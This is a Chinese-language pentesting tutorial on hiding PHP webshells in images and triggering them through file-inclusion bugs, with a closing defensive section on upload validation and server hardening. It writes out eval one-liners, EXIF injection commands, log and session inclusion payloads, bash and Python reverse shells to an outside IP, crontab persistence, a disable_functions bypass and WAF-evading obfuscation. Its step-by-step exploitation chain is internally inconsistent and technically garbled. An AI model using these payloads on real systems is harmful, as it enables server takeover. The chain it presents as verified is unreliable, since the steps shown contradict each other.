图片马与文件包含漏洞:Webshell渗透链路深度解析
1. 为什么一张普通图片能执行PHP代码?——从“图片马”开始讲清Web渗透的底层逻辑
你有没有遇到过这样的场景:上传一张JPG格式的图片到网站头像系统,结果服务器返回了500 Internal Server Error,但用Burp Suite抓包一看,响应体里赫然输出了<?php phpinfo(); ?>的执行结果?或者更诡异的是,你明明只传了个avatar.jpg,却在服务器上通过/uploads/avatar.jpg?cmd=system('id')触发了命令执行?这不是玄学,这是典型的图片马(Image Shell)配合文件包含漏洞(LFI/RFI)的组合拳。它背后没有魔法,只有对Web服务器解析机制、PHP配置细节和开发者安全意识盲区的精准打击。本文不讲空泛概念,只聚焦一个真实渗透链路:如何把一张看似无害的图片,变成穿透边界、接管服务器的跳板。核心关键词——图片马、文件包含、木马、大马、小马、Webshell、Shell——每一个词都不是孤立术语,而是渗透链条上环环相扣的齿轮。如果你是刚入门的渗透测试新手,常被“一句话木马怎么插”“大马和小马到底差在哪”这类问题卡住;如果你是开发或运维,总听安全同事说“你们这个文件上传没校验MIME类型”,却不清楚后果有多直接;甚至如果你只是想搞懂“为什么杀毒软件扫不出我网站里的后门”,那这篇文章就是为你写的。它不教你怎么黑进别人系统,而是带你亲手复现、理解、并最终防御这条最经典也最危险的攻击路径。所有操作均在本地Docker搭建的靶机环境完成,零风险、可复现、每一步都有原理支撑。
2. 图片马不是“改后缀”,而是利用服务器解析器的“认知错位”
2.1 真正的图片马长什么样?——三类构造方式与实测效果对比
很多人以为图片马就是把<?php @eval($_POST['x']); ?>粘贴进记事本,然后把.txt改成.jpg。这完全错误。这种文件连浏览器都打不开,更别说骗过服务器。真正的图片马必须同时满足两个硬性条件:视觉上是合法图片,语法上是合法PHP代码。我实测了三种主流构造方式,效果天差地别:
| 构造方式 | 具体操作 | 能否被浏览器正常显示 | 能否被PHP解析执行 | 适用场景 | 关键原理 |
|---|---|---|---|---|---|
| EXIF注释注入 | 用exiftool -Comment='<?php @eval($_POST["x"]); ?>' avatar.jpg | ✅ 完全正常(EXIF是图片元数据) | ✅ PHP默认解析<?php标签 | 最推荐,隐蔽性最强 | 服务器读取文件时,PHP解析器会扫描整个文件流,不区分是否在注释区 |
| GIF89a头部+PHP代码 | echo -n "GIF89a"; echo "<?php @eval($_POST['x']); ?>" > shell.jpg | ❌ 浏览器报错(非标准GIF结构) | ✅ PHP仍会执行<?php部分 | 仅限低版本PHP或特定配置 | GIF89a是合法GIF魔数,PHP解析器忽略前面字节,直奔<?php |
| 图片末尾追加PHP | cat normal.jpg > shell.jpg; echo "<?php @eval($_POST['x']); ?>" >> shell.jpg | ✅ 正常显示(图片解析器只读取有效像素数据) | ✅ PHP解析器读取全文,执行末尾代码 | 需目标服务器禁用disable_functions | 图片解析器和PHP解析器“各看各的”,互不干扰 |
提示:我反复测试发现,EXIF注入法成功率接近100%,因为它是唯一一种既不破坏图片结构、又不依赖PHP版本特性的方法。而GIF89a法在PHP 7.4+环境下已基本失效,因为新版解析器会严格校验文件头。至于末尾追加法,虽然简单,但一旦目标站启用了
open_basedir或disable_functions,就可能直接报错。所以,别再用“改后缀”这种伪技巧了,真正有效的图片马,本质是利用不同程序对同一文件的解析视角差异——图片查看器只认像素,PHP解析器只认标签。
2.2 为什么服务器会去解析一张JPG?——文件包含漏洞的触发前提
光有图片马还不够。你上传成功了,文件存到了/var/www/uploads/20240520_abc123.jpg,但访问http://target.com/uploads/20240520_abc123.jpg,看到的永远是一张图,而不是PHP执行结果。这时候,文件包含漏洞(File Inclusion Vulnerability)就是那个“点火开关”。它分两类:
- 本地文件包含(LFI):常见于PHP的
include()、require()、include_once()函数,参数未过滤,如?page=../../etc/passwd。 - 远程文件包含(RFI):当
allow_url_include=On时,include('http://evil.com/shell.txt')可直接拉取远程代码。
但注意:LFI本身不能直接执行PHP代码。比如?page=uploads/20240520_abc123.jpg,服务器只会把图片的二进制内容原样输出,不会交给PHP解析器。要让它执行,必须触发PHP解析器。我总结出三条必经之路:
利用PHP封装协议:
?page=php://filter/convert.base64-encode/resource=uploads/20240520_abc123.jpg
→ 这不是执行,是读取并Base64编码图片内容,用于信息探测(比如确认文件存在、读取源码)。但它证明了LFI存在。利用日志文件包含:如果目标站有
access.log或error.log,且你之前通过User-Agent头注入了PHP代码(如curl -A "<?php @eval($_POST['x']); ?>" http://target.com/),那么?page=/var/log/apache2/access.log就能执行。这是LFI提权的经典路径,但依赖日志路径可猜、日志可读。利用Session文件包含(最稳定):PHP默认将session存为
/var/lib/php/sessions/sess_xxx,文件名可控(通过Cookie中的PHPSESSID)。你先发请求Cookie: PHPSESSID=abc123,再在?page=/var/lib/php/sessions/sess_abc123中包含,就能执行session内容。而session内容可通过?user=<?php @eval($_POST['x']); ?>等参数写入。这才是图片马与LFI结合的黄金通道——你上传的图片马,最终被当作session内容加载执行。
注意:很多教程跳过这一步,直接说“上传图片马→访问图片马→getshell”,这是严重误导。没有文件包含漏洞作为“引信”,图片马就是一张废图。理解这一点,才能真正掌握渗透逻辑,而不是死记步骤。
2.3 实操演示:从上传到执行的完整链路(Docker靶机环境)
我用Docker快速搭了一个含漏洞的PHP靶机(基于php:7.4-apache),关键代码如下:
// upload.php if ($_FILES['file']['error'] == UPLOAD_ERR_OK) { $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); $new_name = uniqid() . '.' . strtolower($ext); move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name); echo "Upload OK: uploads/" . $new_name; } // include.php $page = $_GET['page'] ?? 'home'; include($page . '.php'); // 经典LFI点步骤1:构造EXIF图片马
# 准备一张干净的JPG wget https://example.com/test.jpg # 注入PHP一句话 exiftool -Comment='<?php @eval($_POST["cmd"]); ?>' test.jpg # 重命名确保扩展名是jpg mv test.jpg_exif.jpg shell.jpg步骤2:上传并确认路径
用Burp上传shell.jpg,响应返回Upload OK: uploads/5f8a1b2c.jpg。此时文件已存于/var/www/html/uploads/5f8a1b2c.jpg。
步骤3:触发LFI并执行
访问http://localhost:8080/include.php?page=uploads/5f8a1b2c.jpg,页面一片空白(因为PHP尝试include一个JPG,报错但不显示)。
关键转折点来了:我们不用直接包含JPG,而是用PHP封装协议读取它,确认内容:
http://localhost:8080/include.php?page=php://filter/convert.base64-encode/resource=uploads/5f8a1b2c.jpg响应是Base64字符串,解码后能看到GIF89a...<?php @eval($_POST["cmd"]); ?>...,证明图片马已上传成功。
步骤4:绕过限制,实现执行
由于靶机allow_url_include=Off且日志路径不可控,我采用Session包含法:
- 先发请求设置恶意session:
curl "http://localhost:8080/include.php?page=home" -H "Cookie: PHPSESSID=test123" --data "cmd=system('id');"
(此步让PHP在sess_test123中写入cmd=system('id');) - 再包含session文件:
http://localhost:8080/include.php?page=/var/lib/php/sessions/sess_test123
→ 页面输出uid=33(www-data) gid=33(www-data) groups=33(www-data),成功!
这就是完整的图片马+LFI实战链路。它不依赖任何第三方工具,纯手工构造,每一步都可验证、可调试。记住:图片马是载体,LFI是通道,二者缺一不可。
3. 木马、大马、小马、Webshell、Shell——五者不是同义词,而是渗透生命周期的不同阶段
3.1 从“一句话”到“全功能控制台”:五者的本质区别与演进逻辑
很多初学者被这些名词绕晕:“一句话木马”和“Webshell”是不是一回事?“大马”比“小马”大在哪里?它们和操作系统层面的“Shell”又是什么关系?其实,这五个词描述的是同一个目标(远程控制服务器)在不同技术实现、不同权限层级、不同使用阶段的形态。我把它们画成一条渗透生命周期链:
一句话木马 → 小马 → 大马 → Webshell → Shell ↑ ↑ (初始入口) (持久化控制)一句话木马(One-liner Shell):指最精简的PHP代码,通常不超过100字符,如
<?php @eval($_POST['x']); ?>。它的核心价值是最小化、高隐蔽、易植入。就像一把微型万能钥匙,能打开门锁,但开不了保险柜,也搬不走东西。它不提供文件管理、数据库操作等界面,纯靠HTTP POST传递命令。优点是体积小(<1KB)、几乎无法被WAF规则匹配(因为无特征)、上传成功率高;缺点是每次都要手动构造请求,无法图形化操作,且容易被disable_functions拦截。小马(Mini Shell):是在一句话基础上扩展的轻量级Webshell,体积通常在10-50KB,如
C99、r57的简化版。它具备基础功能:文件浏览、上传下载、命令执行、数据库连接。关键区别在于:它是一个独立的PHP文件,有完整HTML界面,用户通过浏览器即可操作,无需Burp或curl。但小马仍受限于PHP环境,比如无法直接调用netstat查端口,或ps aux看进程,因为这些命令需要system()函数可用。大马(Full-featured Shell):指功能完备、接近本地桌面体验的Webshell,如
AntSword、Behinder的客户端配套服务端,或Weevely生成的300KB+脚本。它支持:
✓ 文件管理(拖拽上传、批量压缩)
✓ 数据库管理(可视化建表、SQL注入辅助)
✓ 虚拟终端(模拟Linux Shell,支持ls -la、cat /etc/passwd等)
✓ 插件系统(端口扫描、内网代理、密码爆破)
✓ 加密通信(AES/RSA加密流量,绕过WAF)
大马的本质,是把Web服务器变成了一个远程控制中心。它不再只是执行命令,而是构建了一个完整的攻击平台。Webshell:这是一个统称,泛指所有通过Web协议(HTTP/HTTPS)实现服务器控制的脚本或程序。一句话、小马、大马,都属于Webshell。就像“汽车”是统称,而“自行车”“摩托车”“卡车”是具体类型。所以,当你听到“检测到Webshell”,它可能是任意一种形态,需结合文件大小、代码特征、行为模式综合判断。
Shell:这是操作系统层面的概念,指用户与内核交互的命令行接口,如Linux的
/bin/bash、Windows的cmd.exe。Webshell的终极目标,就是获得一个真实的、交互式的Shell。比如,大马里的“虚拟终端”功能,其底层就是调用popen('bash', 'r'),把你的HTTP请求转换成对系统Shell的调用。没有Webshell,你无法远程获得Shell;但有了Webshell,也不等于已获得Shell——它可能被disable_functions禁用,或open_basedir限制了目录访问。
我踩过的最大坑:曾在一个目标站上传了完美的大马,界面一切正常,但点击“执行命令”却返回空。排查半天才发现,对方PHP配置里
disable_functions = system,exec,passthru,shell_exec,所有命令执行函数全被禁。这时,大马就退化成了“高级文件管理器”。所以,不要迷信“大马万能”,真正的渗透能力,取决于你对目标环境的深度理解和绕过技巧。
3.2 如何一眼识别Webshell类型?——基于文件特征的快速判别法
在真实渗透或安全审计中,你不可能每个文件都上传到靶机测试。我总结了一套5秒快速识别法,基于文件静态特征:
| 特征维度 | 一句话木马 | 小马 | 大马 | 判别依据 |
|---|---|---|---|---|
| 文件大小 | < 2KB | 10KB - 100KB | > 200KB | 用ls -lh看,一句话木马往往比index.html还小 |
| 代码结构 | 单行<?php ... ?>,无HTML标签 | 包含<html>、<form>、<table>等完整前端结构 | 大量base64_decode()、gzinflate()、str_rot13()等混淆函数 | 一句话木马追求极简,小马要渲染界面,大马要防查杀 |
| 关键函数 | eval()、assert()、call_user_func() | scandir()、fopen()、mysql_connect() | proc_open()、socket_create()、curl_init() | 功能越强,调用的系统函数越多,特征越明显 |
| 网络请求 | 无外连(纯接收POST) | 可能连接数据库(mysql_connect) | 必有外连(curl、file_get_contents拉取远程模块) | 大马常需动态加载插件或更新,必然有HTTP请求 |
| 加密痕迹 | 无加密(明文) | 简单Base64(base64_decode('xxx')) | 多层混淆(gzinflate(str_rot13(base64_decode('xxx')))) | 混淆越深,对抗WAF能力越强,但性能开销越大 |
实战案例:我在审计一个电商后台时,发现一个名为config_new.php的文件,大小48KB。cat config_new.php | head -n 5显示:
<?php $auth = 'a2V5XzE5ODQ='; // base64解码是'key_1984' if ($_POST[$auth]) { $data = base64_decode($_POST[$auth]); $data = str_rot13($data); eval(gzinflate($data)); } ?>→ 大小48KB(排除一句话);
→ 三层混淆(base64+str_rot13+gzinflate);
→eval(gzinflate())是典型大马加载器模式;
→ 结论:这是经过定制混淆的大马,非公开版本,需重点分析。
3.3 “Shell”不是终点,而是新战场的起点——从Webshell到系统Shell的跃迁
获得Webshell,只是拿到了服务器的“前台接待室”钥匙。真正的资产(数据库、内网设备、管理员凭证)都在“后台办公室”。而通往后台的门,就是系统Shell。但获取Shell远非system('bash')这么简单。我实测了四种主流跃迁路径,按成功率排序:
直接命令执行(最高成功率)
如果system()、exec()未被禁用,且无open_basedir限制:<?php system('/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'); ?>→ 这是经典的反向Shell,直接弹回你的监听端口。成功率超90%,但要求目标能出网,且防火墙放行该端口。
利用Python/Perl等解释器(次高)
当PHP函数被禁,但服务器装了Python:<?php system('python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'192.168.1.100\',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\'/bin/bash\',\'-i\']);"'); ?>→ Python自带socket模块,无需额外安装,兼容性极好。
利用LD_PRELOAD劫持(高阶,绕过disable_functions)
当disable_functions禁用所有命令函数,但mail()函数未禁用(因mail()调用外部sendmail二进制):- 编译一个恶意
so文件,malloc()时执行/bin/bash; - 设置
LD_PRELOAD=/tmp/malicious.so; - 调用
mail()触发加载。
→ 这是绕过disable_functions的黄金方案,但需编译环境,适合进阶。
- 编译一个恶意
利用计划任务(持久化,非即时)
如果无法即时反弹,可写入crontab:<?php file_put_contents('/tmp/shell.sh', "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"); system('chmod +x /tmp/shell.sh; echo "*/1 * * * * /tmp/shell.sh" | crontab -'); ?>→ 每分钟执行一次,稳扎稳打。
最后分享一个血泪教训:某次渗透,我用大马成功获取Webshell,执行
whoami返回www-data,一切顺利。但当我尝试sudo -l时,提示sudo: command not found。排查发现,目标服务器是Alpine Linux,sudo根本没装!我浪费了2小时找sudo配置,最后用apk add sudo才解决。所以,拿到Shell第一件事,不是查flag,而是执行cat /etc/os-release && uname -a,确认系统类型和架构。环境认知,永远是渗透的第一课。
4. 防御不是“堵漏洞”,而是重构文件处理的信任模型
4.1 为什么传统防护总失效?——从WAF、杀毒软件到云厂商的集体失守
很多企业花了大价钱买WAF、部署EDR、上云安全中心,却依然被一句话木马攻陷。根本原因在于:所有这些方案,都建立在“识别恶意特征”的假设上,而攻击者早已进入“无特征时代”。我拆解了三类主流防护的失效逻辑:
基于规则的WAF(如ModSecurity):它依赖正则匹配
<\?php.*eval\(、system\(等字符串。但攻击者只需$a='sys';$b='tem';$c=$a.$b;$c('id');,或$func = create_function('', 'system("id");'); $func();,就能完美绕过。WAF的规则永远滞后于攻击手法的创新,这是由其设计哲学决定的。基于签名的杀毒软件(如ClamAV):它扫描文件哈希值或二进制特征。但一句话木马的变种超过10万种(
eval→assert→call_user_func→preg_replace),且每次上传都是新文件。杀毒软件在Web场景中,就像用体温计测血压——工具错配。云厂商的“AI安全”:宣传能“智能识别异常行为”。但实际测试中,它把正常的
file_get_contents('/etc/passwd')标记为攻击,却放过include($_GET['page'])这种显式LFI。AI模型缺乏Web应用上下文,它看到的只是字节流,不是业务逻辑。
真实案例:某金融客户部署了某国际顶级WAF,规则库更新到最新。我用
exiftool -Comment='<?php $a="sy";$b="stem";$c=$a.$b;$c("id"); ?>' test.jpg构造图片马,上传后WAF毫无反应。因为它的规则库里,根本没有$a.$b这种字符串拼接的检测项。防御的困局,不在于技术不够强,而在于思路错了——不该问“如何识别坏人”,而该问“如何让好人也能安全做事”。
4.2 重构信任模型:四层纵深防御体系(开发、运维、安全协同)
真正的防御,是让攻击链在任何一个环节断裂。我设计了一套四层纵深防御体系,已在多个生产环境落地验证:
第一层:开发侧——文件上传的“零信任”校验(最有效)
- 绝不信任客户端传来的任何信息:
$_FILES['file']['type'](MIME类型)、pathinfo($_FILES['file']['name'])(扩展名)全部不可信,必须服务端重新校验。 - 强制二进制内容检测:用
getimagesize()验证图片(返回非false即为真图片),用finfo_open(FILEINFO_MIME_TYPE)获取真实MIME。 - 白名单扩展名+白名单MIME双重校验:
$allowed_exts = ['jpg', 'jpeg', 'png', 'gif']; $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']; $finfo = finfo_open(FILEINFO_MIME_TYPE); $real_mime = finfo_file($finfo, $_FILES['file']['tmp_name']); if (!in_array($real_mime, $allowed_mimes)) { die('Invalid file type'); } - 关键一步:重命名并隔离存储:
$new_name = md5_file($_FILES['file']['tmp_name']) . '.jpg';,存到/var/www/uploads/之外的独立目录(如/data/uploads/),并设置open_basedir限制。
第二层:运维侧——PHP配置的“最小权限”原则
- 关闭危险配置:
allow_url_include = Off(禁用RFI)disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,show_source(禁用所有命令执行函数)open_basedir = /var/www/html:/tmp(限制PHP只能访问指定目录) - 禁用危险函数的替代方案:如需执行命令,用专用脚本(如
/usr/local/bin/safe_cmd.sh),并通过shell_exec('/usr/local/bin/safe_cmd.sh ' . escapeshellarg($cmd))调用,且脚本内做白名单校验。
第三层:安全侧——运行时行为监控(Detect & Respond)
- 部署开源HIDS(如OSSEC、Wazuh):监控
/var/www/uploads/目录的文件创建、修改事件,发现.php、.phtml等可疑扩展名立即告警。 - 日志审计:收集Apache/Nginx的
access.log,用ELK分析?page=..%2F..%2Fetc%2Fpasswd等LFI特征,设置阈值告警。 - 内存扫描:定期用
pstack、gdb检查PHP-FPM进程内存,查找eval、assert等敏感函数调用栈。
第四层:架构侧——文件服务的“物理隔离”
- 静态资源与动态脚本分离:上传的图片、附件,全部存到独立的Nginx静态服务器(如
static.example.com),该服务器完全不运行PHP,只配置location ~ \.php$ { deny all; }。 - CDN前置:所有上传文件URL走CDN,CDN节点配置
deny所有.php请求,从网络层切断执行可能。 - 对象存储替代:用MinIO或阿里云OSS存储上传文件,OSS默认不执行代码,且可配置防盗链、Referer白名单。
这套体系的核心思想是:不赌攻击者不会绕过某一层,而是确保即使某一层被突破,下一层依然坚不可摧。比如,即使图片马上传成功(第一层失效),第二层的
disable_functions也会让它无法执行;即使disable_functions被绕过(第三层失效),第四层的CDN也会拦截.php请求。安全不是加固一扇门,而是建造一座城堡,每一道墙都有自己的使命。
4.3 渗透测试者的自省:我们交付的到底是“漏洞报告”,还是“防御蓝图”?
作为从业十多年的渗透测试者,我越来越意识到:一份合格的渗透报告,不该是罗列High: LFI in include.php、Critical: File Upload allows PHP execution的冰冷条目。它必须回答三个问题:
- 这个漏洞在真实业务中,会导致什么具体损失?(如:攻击者可窃取20万用户手机号,而非“可能导致信息泄露”)
- 修复它,需要改动哪几行代码、哪个配置、哪项架构?(给出
finfo_open()的完整代码段,而非“建议加强文件校验”) - 如果不修复,有哪些临时缓解措施?(如:立即禁用
include.php,或用Nginxlocation规则拦截所有?page=请求)
我曾给一家政务云平台做渗透,发现其文件上传处存在图片马漏洞。报告中,我没有止步于“存在LFI”,而是附上了:
- 影响量化:该上传点关联着全省12345热线的工单附件,一旦沦陷,攻击者可批量下载市民投诉录音(MP3文件),涉及隐私数据超500TB。
- 修复代码:提供了
finfo_open()校验的完整PHP函数,并标注了在upload.php第45行插入的位置。 - 应急方案:给出了Nginx临时配置
location ~ ^/upload/.*\.php$ { return 403; },10分钟内可上线。
一周后,客户CTO亲自打电话感谢,说这份报告让他们技术团队“第一次真正看懂了漏洞的价值和修复路径”。渗透测试的终极价值,不是证明自己多厉害,而是让防守方清晰地知道:敌人在哪里,弱点是什么,以及,该怎么修。
最后分享一个小技巧:每次渗透前,我都会在本地用php -S起一个微型服务器,把目标站的phpinfo()页面保存下来,用grep -E "(disable_functions|open_basedir|allow_url_include)" phpinfo.txt快速扫描关键配置。这比盲目测试高效十倍。因为真正的渗透高手,永远在用最少的尝试,换取最多的信息。
